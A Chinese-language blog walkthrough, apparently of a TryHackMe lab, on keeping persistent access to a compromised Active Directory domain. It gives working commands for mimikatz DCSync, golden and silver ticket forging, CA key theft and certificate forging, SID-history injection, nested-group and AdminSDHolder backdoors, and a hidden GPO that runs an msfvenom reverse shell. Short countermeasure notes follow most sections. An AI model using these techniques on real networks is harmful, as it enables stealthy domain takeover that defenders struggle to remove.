APT之持久化域控的各种技术

APT之持久化域控的各种技术_第1张图片

AD持久化

在攻击AD的过程中,我们需要确保部署持久性。这将确保蓝队无法通过简单地轮换一些凭证来将我们踢出局。这确保了如果我们的一个位置被蓝队烧毁,我们有几个后备方案。在此持久阶段,我们将使用多种技术来确保我们获得的访问权限不会被简单地撤销。这些持久性技术取决于我们迄今为止获得的特定权限和特权。

通过凭证持久化

我们将讨论的第一个也是最不可靠的持久性技术是凭证。一些横向技术可能会导致攻击者获得凭证的访问权限。当使用“凭据”一词时,它可能意味着用户名和密码对,但在AD持久化中,即使是密码哈希也足以通过哈希传递技术进行身份验证。

DC同步

原理

在大型组织中,每个域只有一个域控制器是不够的。这些域通常在多个区域位置使用,并且拥有单个DC会显着延迟 AD 中的任何身份验证服务。因此,这些组织使用多个 DC。那么问题就变成了,您如何在两个不同的办公室使用相同的凭据进行身份验证?

这个问题的答案是域复制。每个域控制器都运行一个称为知识一致性检查器 (KCC) 的进程。KCC为AD林生成复制拓扑,并通过远程过程调用(RPC)自动连接到其他域控制器以同步信息。这包括更新的信息,例如用户的新密码和新对象,例如创建新用户的时间。这就是为什么您在更改密码后通常必须等待几分钟才能进行身份验证,因为发生密码更改的 DC 可能与您进行身份验证的 DC 不同。

复制过程称为DC同步。不仅仅是 DC 可以启动复制。属于域管理员组的帐户也可以出于合法目的(例如创建新的域控制器)执行此操作。

一种流行的攻击是DC同步攻击。如果我们有权访问具有域复制权限的帐户,我们可以发起 DC 同步攻击以从 DC 获取凭据。

凭证不可靠

虽然我们应该始终寻求转储特权凭据,(转储特权凭据指的是 这些特权凭据可能是明文密码、哈希密码或其他形式的验证信息,可以通过PTH的方式等),但也是蓝队首要轮换的特权凭据(蓝队术语,重置密码)。所以如果我们只有特权凭据,那么蓝队一旦发现将会轮换这些账户,我们就会失去访问的权限。

所以我们的目标就是拥有接近特权的凭证。并不需要王国的完整钥匙,只需要足够的钥匙来确保我们仍然能够实现目标执行。我们可以通过以下凭据持久保持:

  • 在多台计算机上具有本地管理员权限的凭据。通常,组织有一两个对几乎所有计算机具有本地管理权限的组。这些组通常分为一组用于工作站,一组用于服务器。通过获取这些团体成员的凭据,我们仍然可以访问该庄园中的大部分计算机。
  • 具有委派权限的服务帐户。有了这些账户,我们就能够强制金票和银票执行 Kerberos 委托攻击。
  • 用于特权 AD 服务的帐户。如果我们泄露了特权服务(例如 Exchange、Windows Server Update Services (WSUS) 或 System Center Configuration Manager (SCCM))的帐户,我们可以利用 AD 漏洞再次获得特权立足点。

利用 mimikatz进行DC同步

我们可以使用 mimikatz来同步DC的所有凭据,运行以下命令,启动mimikatz工具:

powershell -ep bypass
mimikatz.exe

对单个账户执行DC同步

lsadump::dcsync /domain:za.tryhackme.loc /user:test

APT之持久化域控的各种技术_第2张图片
DC同步所有账户

lsadump::dcsync /domain:za.tryhackme.loc /all

通过票据持久化

Kerberos 身份验证

Kerberos 身份验证的正常流程:
APT之持久化域控的各种技术_第3张图片
首先用户向DC上的密钥分发中心(KDC)发出TGT请求,DC检查信息后将TGT发送给用户。这个TGT的使用仅存储在DC上的KRBTGT账户的密码哈希进行签名,当用户发送此TGT到DC的时候,可以请求用户想要访问的资源的票证授予服务(TGS)。当TGT签出时,DC会响应用户请求访问的服务并且发送NTLM哈希加密的TGS。最后用户将TGS发送给服务,服务将会验证TGS,因为它知道自己的哈希值并可以授予用户访问权限。

黄金票据

原理是伪造TGT,绕过请求TGT和响应TGT的步骤,向DC证明我们是谁。拥有了特权账户的有效TGT,我们就可以为任何想要的服务请求TGS。伪造票据需要 KRBTGT账户的密码哈希,以便我们可以为想要的任何账户签署TGT。
一些关于黄金票据的说明:

  • 通过在 Kerberos 进程的此阶段进行注入,我们不需要要模拟的帐户的密码哈希,因为我们绕过了该步骤。TGT仅用于证明DC上的KDC对其进行了签名。由于它是由 KRBTGT 哈希签名的,因此该验证通过,并且无论其内容如何,TGT 都被声明为有效。
  • 说到内容,KDC 只会验证TGT中指定的用户帐户(如果该帐户早于 20 分钟)。这意味着我们可以将禁用、删除或不存在的帐户放入 TGT,只要我们确保时间戳不超过 20 分钟,它就有效。
  • 由于票证的策略和规则是在TGT本身中设置的,因此我们可以覆盖 KDC 推送的值,例如票证只能在 10 小时内有效。例如,我们可以确保我们的 TGT 有效期为 10 年,从而赋予我们持久性。
  • 默认情况下,KRBTGT 帐户的密码永远不会更改,这意味着一旦我们拥有密码,除非手动轮换,否则我们可以通过永久生成 TGT 来获得持久访问权限。
  • 蓝队必须将 KRBTGT 帐户的密码轮换两次,因为当前密码和以前的密码对该帐户仍然有效。这是为了确保密码的意外轮换不会影响服务。
  • 对于蓝队来说,轮换 KRBTGT帐户的密码是一个极其痛苦的过程,因为这会导致环境中的大量服务停止工作。他们认为自己拥有有效的 TGT,有时在接下来的几个小时内有效,但该 TGT 不再有效。并非所有服务都足够聪明,可以释放不再有效的 TGT(因为时间戳仍然有效),因此不会自动请求新的 TGT。
  • 黄金票证甚至允许您绕过智能卡身份验证,因为智能卡在创建 TGT 之前已由DC进行验证。
  • 我们可以在任何机器上生成黄金票证,甚至是未加入域的机器(例如我们自己的攻击机器),从而使蓝队更难以检测到。

除了 KRBTGT 帐户的密码哈希之外,我们只需要要模拟的人的域名、域 SID 和用户 ID。

白银票据

银票是伪造的 TGS 票,它将跳过请求TGT和TGS以及响应的步骤。只需要直接访问的服务进行交互。关于银票的一些说明:

  • 生成的 TGS 由我们目标主机的机器帐户签名。
  • 金票和银票之间的主要区别在于我们获得的特权数量。如果我们拥有 KRBTGT 帐户的密码哈希值,我们就可以访问所有内容。使用银票,由于我们只能访问我们正在攻击的服务器的计算机帐户的密码哈希,因此我们只能模拟该主机本身的用户。银票的范围仅限于特定服务器上的任何服务。
  • 由于 TGS 是伪造的,因此没有关联的TGT,这意味着从未联系过 DC。这使得攻击极其危险,因为唯一可用的日志位于目标服务器上。因此,虽然范围更加有限,但蓝队检测起来要困难得多。
  • 由于权限是通过 SID 确定的,因此我们可以再次为银票证创建一个不存在的用户,只要我们确保该票证具有将用户置于主机的本地管理员组中的相关 SID。
  • 机器帐户的密码通常每 30 天轮换一次,这不利于持久性。但是,我们可以利用 TGS 提供的访问权限来访问主机注册表并更改负责机器帐户密码轮换的参数。从而确保机器帐户保持静态并授予我们在机器上的持久性。
  • 虽然只能访问单个主机可能看起来像是一个重大降级,但计算机帐户可以用作普通AD帐户,不仅允许您对主机进行管理访问,还可以像使用 AD 一样继续枚举和利用 AD用户帐号。
  • 伪造门票以获取乐趣和

伪造票据

生成金票和银票将需要KRBTGT账户的NTLM哈希值,我们可以通过DC同步获取该哈希值。生成银票需要与当前计算机账户关联的NTLM哈希值。

生成金票

运行以下命令获取活动目录信息:

Get-ADDomain

APT之持久化域控的各种技术_第4张图片
然后加载mimikatz工具,执行以下操作生成黄金票据:

kerberos::golden /admin:cike /domain:za.tryhackme.loc /id:500 /sid: /krbtgt: /endin:600 /renewmax:10080 /ptt

可以看见金票成功生成
APT之持久化域控的各种技术_第5张图片
参数解释:

  • /admin - 我们要模拟的用户名。这不必是有效用户。
  • /domain - 我们要为其生成票证的域的 FQDN。
  • /id - 用户 RID。默认情况下,Mimikatz 使用 RID 500,这是默认的管理员帐户 RID。
  • /sid - 我们要为其生成票证的域的 SID。
  • /krbtgt - KRBTGT 帐户的 NTLM 哈希值。
  • /endin - 票证有效期。默认情况下,Mimikatz 生成一张有效期为 10 年的票证。AD默认的Kerberos策略是10小时(600分钟)
  • /renewmax - 续订的最长票证生命周期。默认情况下,Mimikatz 生成一张有效期为 10 年的票证。AD默认的Kerberos策略是7天(10080分钟)
  • /ptt - 将票证直接注入会话中。

如果默认不添加票证有效期,默认是10年:
APT之持久化域控的各种技术_第6张图片
验证票据是否可以正常运行:

dir \\xxx\c$\

APT之持久化域控的各种技术_第7张图片

生成银票

即使金票的时间非常长,蓝队仍然可以通过简单地轮换 KRBTGT 密码两次来防御这一点。如果使用银票,这种票据不太可能被发现,而且更加难防御,因为每个机器账户的密码必须轮换。
首先DC同步获取DC机器的NTLM值:

lsadump::dcsync /domain:za.tryhackme.loc /user:thmdc$ 

APT之持久化域控的各种技术_第8张图片
使用以下命令来生成银票:

kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /target:thmdc.za.tryhackme.loc /rc4:39f46ddb810ea482850bb93f4c1e4cc5 /service:cifs /ptt

APT之持久化域控的各种技术_第9张图片

  • /admin - 我们要模拟的用户名。这不必是有效用户。
  • /domain - 我们要为其生成票证的域的 FQDN。
  • /id - 用户 RID。默认情况下,Mimikatz 使用 RID 500,这是默认的管理员帐户 RID。
  • /sid - 我们要为其生成票证的域的 SID。
  • /target - 我们的目标服务器的主机名。
  • /rc4 - 我们目标的计算机帐户的 NTLM 哈希值。查看 DC 同步结果以查找 THMSERVER1$ 的 NTLM 哈希值。$ 表示它是一个机器帐户。
  • /service - 我们在 TGS 中请求的服务。CIFS 是一个安全的选择,因为它允许文件访问。
  • /ptt - 该标志告诉 Mimikatz 将票证直接注入会话中,这意味着它已准备好使用。

验证票据成功
APT之持久化域控的各种技术_第10张图片

反制

蓝队必须对KRBTGT 帐户的密码轮换两次,然后还需要对每个机器账户的密码进行轮换,才能删除金票和银票。

通过证书持久化

(AD CS 证书服务)

根据我们当前用户的访问权限,我们可以更进一步,窃取根CA证书的私钥,然后通过这个私钥来生成证书。但是由于CA从未颁发这些证书,所以蓝队没有能力撤销它们。蓝队必须吊销根 CA 证书,但是吊销这个证书意味着AD CS颁发的所有证书都会突然失效。这意味着他们必须为每个使用 AD CS 的系统生成新证书

工具

ForgeCert

https://github.com/GhostPack/ForgeCert

Rubeus

https://github.com/GhostPack/Rubeus

提取私钥

由于Active Directory 证书服务 (AD CS)服务正在域控制器上运行,所以我们必须要在此主机上进行攻击,也就是在域控机子上。
查看存储在DC上的证书,运行以下命令:

crypto::certificates /systemstore:local_machine

APT之持久化域控的各种技术_第11张图片
我们可以看见DC上有CA证书,但是有一些证书被设置为不允许我们导出密钥。如果没有这个密钥,我们将无法生成新的证书。可以使用 mimikatz 运行以下命令来修补内存,使这些密钥可导出:

crypto::capi
crypto::cng

APT之持久化域控的各种技术_第12张图片
如果遇见报错,说明了之前以及执行了该修补。修补这些服务之后,使用以下命令导出证书:

crypto::certificates /systemstore:local_machine /export

APT之持久化域控的各种技术_第13张图片
导出的证书将以 PFX 和 DER 格式存储到当前目录下
APT之持久化域控的各种技术_第14张图片
我们所需的证书是 za-THMDC-CA.pfx,为了导出私钥,必须使用密码对证书进行加密。默认情况下,Mimikatz 分配的密码为mimikatz。这时候我们将把这个证书复制在低权限的账户下
APT之持久化域控的各种技术_第15张图片

生成证书

使用 ForgeCert 工具,为我们的域账户管理员生成一个新的证书:

ForgeCert.exe --CaCertPath C:\Users\georgia.cross\Desktop\local_machine_My_1_za-T
HMDC-CA.pfx  --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAd
min.pfx --NewCertPassword Password123

APT之持久化域控的各种技术_第16张图片
APT之持久化域控的各种技术_第17张图片
参数解释:

  • CaCertPath - 我们导出的 CA 证书的路径。
  • CaCertPassword - 用于加密证书的密码。默认情况下,Mimikatz 分配的密码为mimikatz。
  • Subject- 证书的主题或通用名称。对于我们使用证书的用途而言,这并不重要。
  • subjectAltName - 这是我们要使用此证书模拟的帐户的用户主体名称 (UPN)。它必须是合法用户。
  • NewCertPath - ForgeCert 将存储生成的证书的路径。
  • NewCertPassword - 由于证书需要导出私钥用于身份验证,因此我们必须设置一个用于加密它的新密码。

这时候在使用 Rubeus 工具来使用证书请求 TGT,使用以下命令:

Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:fullAdmin.pfx /password:Password123 /outfile:administrator.ki
rbi /domain:za.tryhackme.loc /dc:10.200.86.101

APT之持久化域控的各种技术_第18张图片
参数:

  • /user - 这指定我们将模拟的用户,并且必须与我们生成的证书的 UPN 相匹配
  • /enctype - 指定票证的加密类型。设置此项对于规避很重要,因为默认加密算法很弱,这会导致溢出警报
  • /certificate - 我们生成的证书的路径
  • /password - 我们的证书文件的密码
  • /outfile - TGT 将输出到的文件
  • /domain - 我们当前攻击的域的 FQDN
  • /dc - 我们请求 TGT 的域控制器的 IP。通常,最好选择运行CA服务的DC

最后再使用mimikatz加载TGT:

 kerberos::ptt administrator.kirbi

APT之持久化域控的各种技术_第19张图片

反制

由于我们导出了 CA 并自己生成了证书,因此它不会出现在 AD CS 的已颁发证书列表中,这意味着蓝队将无法撤销我们的证书。蓝队必须为每个系统生成新的证书,意味着完全重建系统,所以这种类型的持久性非常危险。

通过 SID 历史记录进行持久化

SID 用于在连接到资源时跟踪安全主体和帐户的访问权限。我们可以将域控主机的SID历史记录复制到低权限的账户下,从而实现持久性。
关于这种持久性技术的一些有趣的注释:

  • 我们通常需要域管理员权限或同等权限才能执行此攻击。
  • 当帐户创建登录事件时,与该帐户关联的 SID 将添加到用户的令牌中,然后由该令牌确定与该帐户关联的权限。这包括组 SID。
  • 如果我们注入企业管理员 SID,我们可以进一步采取这种攻击,因为这会提升帐户的权限,使其成为林中所有域中的域管理员。
  • 由于 SID 已添加到用户的令牌中,因此即使该帐户不是实际组的成员,也会尊重权限。这使得这是一种非常狡猾的持久方法。我们拥有危害整个域(也许是整个林)所需的所有权限,但我们的帐户可以只是一个普通用户帐户,仅具有域用户组的成员身份。通过始终使用此帐户来更改另一个帐户的 SID 历史记录,我们可以将偷偷摸摸的行为提升到另一个级别,因此初始持久性向量不那么容易被发现和补救。

工具

DSInternals

https://github.com/MichaelGrafnetter/DSInternals

查看SID历史记录

首先登录域管理员账户,然后查看低权限账户的SID的历史记录,从域中检索用户对象的信息。使用以下命令:

 Get-ADUser <查看的用户名> -properties sidhistory,memberof
  • properties 参数指定要返回的属性列表
  • sidhistory 属性用于存储用户对象的 SID 历史记录,即用户在不同域中的 SID。这在进行跨域访问时很有用。
  • memberof 属性用于存储用户所属的组的信息。

APT之持久化域控的各种技术_第20张图片
这时候查看域管理员组的SID历史记录,使用以下命令:

 Get-ADGroup "Domain Admins"

可以看见域管理员组的SID和低权限是不一样的
APT之持久化域控的各种技术_第21张图片

为低权限账户添加SID历史记录

我们将使用DSInternals工具直接修补 ntds.dit 文件,即存储所有信息的AD数据库:

Stop-Service -Name ntds -force 
Add-ADDBSidHistory -SamAccountName '低权限账户' -SidHistory '域管理组的SID记录' -DatabasePath C:\Windows\NTDS\ntds.dit 
Start-Service -Name ntds  

添加SID记录之前,首先需要关闭 ntds数据库,然后再添加,最后启动ntds数据库。查看低权限账户,可以发现 SIDHistory已经是域管理组的SID了
APT之持久化域控的各种技术_第22张图片
这时候登录账户,可以发现低权限账户可以对域控进行权限操作了
APT之持久化域控的各种技术_第23张图片

反制

蓝队可以使用 AD-RSAT PowerShell cmdlet 等工具来删除 SID 历史记录,在考虑删除恶意 SID 历史属性之前,您首先需要找到它们。任何常规工具都不会告诉您出现问题。除非您主动过滤用户的属性,否则很难找到它。这是因为 SID 历史记录仅在用户通过身份验证后才会应用和使用。

通过团体成员身份坚持下去

最具特权的帐户或组并不总是最适合用于持久性。特权群体比其他群体受到更密切的变化监控。任何归类为受保护组的组(例如域管理员或企业管理员)都会接受额外的安全审查。如果我们想通过组成员的身份来保持持久性,我们可以添加低权限账户来实现:

  • IT 支持组可用于获取权限,例如强制更改用户密码。尽管在大多数情况下,我们无法重置特权用户的密码,但能够重置低特权用户的密码可以让我们扩展到工作站。
  • 提供本地管理员权限的组通常不会像受保护组那样受到严格监控。通过网络支持组的组成员身份获得正确主机的本地管理员权限,我们可能具有良好的持久性,可用于再次危害域。
  • 它并不总是与直接特权有关。有时,具有间接特权的组(例如组策略对象 (GPO) 的所有权)也同样有利于持久性。

嵌套组

在大多数组织中,都有大量的递归组。递归组是属于另一个组的成员的组。当新成员添加到域管理员组时,蓝队会触发一个警报。这是一个很好的警报,但如果将用户添加到域管理员组内的子组,则不会触发该警报。所以我们可以利用这点将自己的低权限账户添加到不受监控的子组,我们只需要父组是域管理员组就可以了。

创建组

在域控管理员的情况下,使用powershell运行以下命令:

New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "1" -SamAccountName "1" -DisplayName "1" -GroupScope Global -GroupCategory Security
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "2" -SamAccountName "2" -DisplayName "2" -GroupScope Global -GroupCategory Security
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "3" -SamAccountName "3" -DisplayName "3" -GroupScope Global -GroupCategory Security
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "4" -SamAccountName "4" -DisplayName "4" -GroupScope Global -GroupCategory Security
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "5" -SamAccountName "5" -DisplayName "5" -GroupScope Global -GroupCategory Security
  • New-ADGroup: 这是用于创建新的AD组的PowerShell cmdlet。
  • -Path: 指定新组所在的组织单位(OU)的路径。OU=可以自定义称呼
  • -Name: 指定新组的名称。
  • -SamAccountName: 指定新组的SAM帐户名称,用于唯一标识组。
  • -DisplayName: 指定新组的显示名称,通常用于标识组的友好名称。
  • -GroupScope: 指定组的作用范围,这里设置为Global表示组在整个域中可见。
  • -GroupCategory: 指定组的类别,这里设置为Security表示它是一个安全组。

image.png
现在我们已经创建了五个组了

添加组

然后现在添加组,运行以下命令:

Add-ADGroupMember -Identity '2' -Members '1'
Add-ADGroupMember -Identity '3' -Members '2'
Add-ADGroupMember -Identity '4' -Members '3'
Add-ADGroupMember -Identity '5' -Members '4'
Add-ADGroupMember -Identity 'Domain Admins' -Members '5'
Add-ADGroupMember -Identity '1' -Members 'grace.clarke'

主要意思是,将1组添加到2组,然后2组添加到3组,以此类推…然后最后一个组添加到域管理员组,最后将低权限用户添加到子组1,所以它享受到了父组的权限,相当于子1组 = 5组 = 域管理员组
image.png
最后登录低权限账户进行验证,可以发现对域控已经有授权了
APT之持久化域控的各种技术_第24张图片
最后我们在进行验证,即使创建了多个组,Domain Admins组也只有一名成员用户,还有一个新组

Get-ADGroupMember -Identity "Domain Admins"

APT之持久化域控的各种技术_第25张图片

反制

如果是一个真正的组织,我们不应该创建新的组织来嵌套,相反的,应该是使用现有的组来执行嵌套。但是在正常红队中,这是我们不应该做到,它将会对AD进行结构的破坏。如果蓝队反制,将要删除我们成员的资格。这些组这些组都将无法恢复。该组织需要重建整个AD结构,造成重大损失。

通过 ACL 持久化

通过AD组模板保留

为了确保更好的持久性并让蓝队摸不着头脑,我们应该注入生成默认组的模板。通过注入这些模板,即使他们删除了我们的会员资格,我们只需要等到模板刷新,我们就会再次被授予会员资格。
AdminSDHolder 容器就是这样的模板之一。该容器存在于每个 AD 域中,并使用其访问控制列表 (ACL) 作为模板,将权限复制到所有受保护的组。具体可以参考这个链接:

https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)

名为 SDProp 的进程每 60 分钟获取 AdminSDHolder 容器的 ACL 并将其应用于所有受保护组,我们可以授予保护组中来添加成员,给予完全权限从而实现持久性。

AdminSDHolder保护组

首先在cmd命令行输入 mmc.exe打开控制台。
APT之持久化域控的各种技术_第26张图片
这时候如图,添加Active Directory 用户和计算机
APT之持久化域控的各种技术_第27张图片
APT之持久化域控的各种技术_第28张图片
双击 Active Directory 用户和计算机选项,然后在查看选项中点击启用高级功能。
APT之持久化域控的各种技术_第29张图片
然后来到System下的 AdminSDHolder Properties,然后右键属性在 安全中添加一个低权限的用户
APT之持久化域控的各种技术_第30张图片 然后为该账户添加所有权限
APT之持久化域控的各种技术_第31张图片

SDProp

现在我们只需要等待60分钟,我们的低权限账户就可以完全控制所有保护的组。这是因为安全描述符传播器 (SDProp) 服务每 60 分钟自动执行一次,并将此更改传播到所有受保护组。如果不想等待,我们可以手动启用这个脚本,下载地址:

https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1

使用以下命令:

Import-Module .\Invoke-ADSDPropagation.ps1 
Invoke-ADSDPropagation

image.png
可以看见 Domain Admins组中的安全属性以及存在该用户了
APT之持久化域控的各种技术_第32张图片
现在我们非特权用户授予了AdminSDHolder 模板的完全控制权。我们可以简单的将自己添加为保护组的成员。使用以下命令将非特权用户,添加至 Domain Admins组

Add-ADGroupMember -Identity 'Domain Admins' -Members 'sean.hopkins'

这时候登录非特权用户进行验证权限,发现成功
APT之持久化域控的各种技术_第33张图片

反制

移除该组的恶意用户,或者更改域中所有用户的凭据。

通过 GPO 进行持久化

AD 中的组策略管理提供了一个中央机制来管理所有加入域的计算机的本地策略配置。攻击者可以将其作为目标,在整个资产中部署持久性。更糟糕的是,攻击者经常可以隐藏 GPO,使其几乎无法删除。

创建负载

使用MSF创建shell

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=x.x.x.x lport=4444 -f exe -o a.exe

创建bat 脚本:

copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\a.exe C:\tmp\a.exe && timeout /t 20 && C:\tmp\a.exe

该脚本会将二进制文件从 SYSVOL 目录复制到域控的本地计算机,然后等待 20 秒,最后执行该二进制文件。
利用管理员凭据将两个恶意文件复制到 SYSVOL目录中:
APT之持久化域控的各种技术_第34张图片
这时候准备好 MSF 监听器。
image.png

创建GPO

使用域管理员凭据打开mmc控制台,Win + r 输入 mmc。然后添加组策略管理管理单元:单击文件->添加/删除管理单元
APT之持久化域控的各种技术_第35张图片
然后来到 Admins右键创建GPO
APT之持久化域控的各种技术_第36张图片
名字随意
APT之持久化域控的各种技术_第37张图片
APT之持久化域控的各种技术_第38张图片
这时候编辑刚刚创建的 GPO:test
APT之持久化域控的各种技术_第39张图片
APT之持久化域控的各种技术_第40张图片
添加我们之前放入的恶意脚本 a.bat
APT之持久化域控的各种技术_第41张图片
APT之持久化域控的各种技术_第42张图片
APT之持久化域控的各种技术_第43张图片
由于我们设置的GPO是应用于所有管理员下的,所以当管理员用户登陆的时候,我们将接收到一个管理组用户的反向shell
APT之持久化域控的各种技术_第44张图片
不过我们还需要创建一个登录时间供 GPO 执行。如果管理员关闭了RDP 会话,将执行断开连接,这意味着它不会触发 GPO,我们的shell也会中断
APT之持久化域控的各种技术_第45张图片
APT之持久化域控的各种技术_第46张图片

隐藏在众目睽睽下

现在我们的持久性正在发挥作用,为了确保蓝队不能简单地消除我们的持久性,我们返回 MMC 窗口,选择 委派 Delegation,然后点击高级选项:
APT之持久化域控的各种技术_第47张图片
将“企业域控制器”设置为“编辑设置、删除、修改安全性”
APT之持久化域控的各种技术_第48张图片
删除所有其他用户,只剩下如图的三个,添加域计算机,以便他们可以读取策略并提取脚本
APT之持久化域控的各种技术_第49张图片
APT之持久化域控的各种技术_第50张图片
这时候任何人或者自己,也无法查看和编辑策略
APT之持久化域控的各种技术_第51张图片
再次登录域管理员账户,rdp连接,可以看见反向shell依旧成功
APT之持久化域控的各种技术_第52张图片
当我们使用域管理账户对它进行删除,发现没有权限
APT之持久化域控的各种技术_第53张图片

反制

删除此GPO的唯一方法是使用域控制器的计算机账户来进行操作。

额外的持久性技术

关于一些其他的技术:
万能钥匙

https://stealthbits.com/blog/unlocking-all-the-doors-to-active-directory-with-the-skeleton-key-attack/

目录服务还原模式 (DSRM)

https://adsecurity.org/?p=1714

恶意安全支持提供程序 (SSP)

https://adsecurity.org/?p=1760

计算机帐户

https://adsecurity.org/?p=2753

参考:

https://tryhackme.com/room/persistingad

你可能感兴趣的:(APT,网络安全,安全,windows,APT)